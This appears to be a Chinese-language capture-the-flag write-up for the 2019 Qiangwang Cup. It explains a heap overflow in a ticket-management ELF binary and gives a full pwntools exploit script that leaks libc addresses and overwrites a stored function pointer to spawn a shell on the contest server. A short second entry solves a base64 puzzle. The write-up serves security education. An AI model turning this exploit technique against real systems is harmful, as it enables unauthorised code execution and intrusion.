2019强网杯wp

我不配强网！！

强网先锋-AP

64位elf文件，保护全开

拖入IDA中查看流程，有三个选项，添加一张票，查看一张票，修改指定票
添加票的函数申请了两个堆块，第一个堆块（v0）存name的堆块地址和puts的地址，第二个堆块存name

查看票的操作，用v0堆块存着的puts地址作为函数调用，v0中存着name的堆块地址作为参数，相当于“puts(&name)”

修改指定票，虽然限制了票的index，但是没有限制输入name的大小，从而导致可以在堆块里溢出

先进行两次添加票，动态调试出堆块的分布，发现4次malloc的地址是连续的

那么我们可以修改第一个票的name，长度可以覆盖到第二个票

攻击流程

• 通过堆溢出来泄露出puts的真实地址（partial overwrite，地址范围0x00~0xff，8++）
• 计算出system、binsh的地址
• 把第二个name覆盖成binsh的地址，第二个puts函数的地址覆盖成system的地址
• open第二个票，即可获取到shell
  

exp：

from pwn import *
#nc 117.78.37.77 31559
context.log_level = 'debug'
r = remote("117.78.37.77",31559)
#r = process("./task_main")
file = ELF("./task_main")
puts_got = file.plt['puts']
log.info("puts_got: "+hex(puts_got))
def add(length,name):
	r.recvuntil("The length of my owner's name:\n")
	r.sendline(length)
	r.recvuntil("Give me my owner's name:\n")
	r.sendline(name)
# def change()
r.recvuntil("Choice >> \n")
r.sendline("1")
add("10","radish")
r.recvuntil("Choice >> \n")
r.sendline("1")
add("10","aaaaaa")
r.recvuntil("Choice >> \n")
r.sendline("3")

r.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
r.sendline("0")
r.recvuntil("The length of my owner's name:\n")
r.sendline("34")
r.recvuntil("Give me my owner's name:\n")
payload = "a"*32+chr(0x18)
r.send(payload)
r.recvuntil("Choice >> \n")
r.sendline("2")
r.recvuntil("Please tell me which tickets would you want to open?\n")
r.sendline("1")
r.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
puts_addr = u64(r.recvuntil("\x0a",drop=True)+"\x00\x00")
log.info("puts_addr: "+hex(puts_addr))
r.recvuntil("Choice >> \n")
puts_sym = 0x06f690
base_addr = puts_addr-puts_sym
log.info("base_addr: "+hex(base_addr))
system_addr = 0x045390+base_addr
binsh_str = 0x18cd57+base_addr
log.info("system_addr: "+hex(system_addr))
log.info("binsh_str: "+hex(binsh_str))

r.sendline("3")
r.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
r.sendline("0")
r.recvuntil("The length of my owner's name:\n")
r.sendline("49")
r.recvuntil("Give me my owner's name:\n")
payload = "a"*32+p64(binsh_str)+p64(system_addr)
r.send(payload)
r.sendline("2")
r.recvuntil("Please tell me which tickets would you want to open?\n")
r.sendline("1")
r.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
sleep(0.1)
r.interactive()

强网先锋_AD

没什么说的，讲预设的字符串base64解密即可得到flag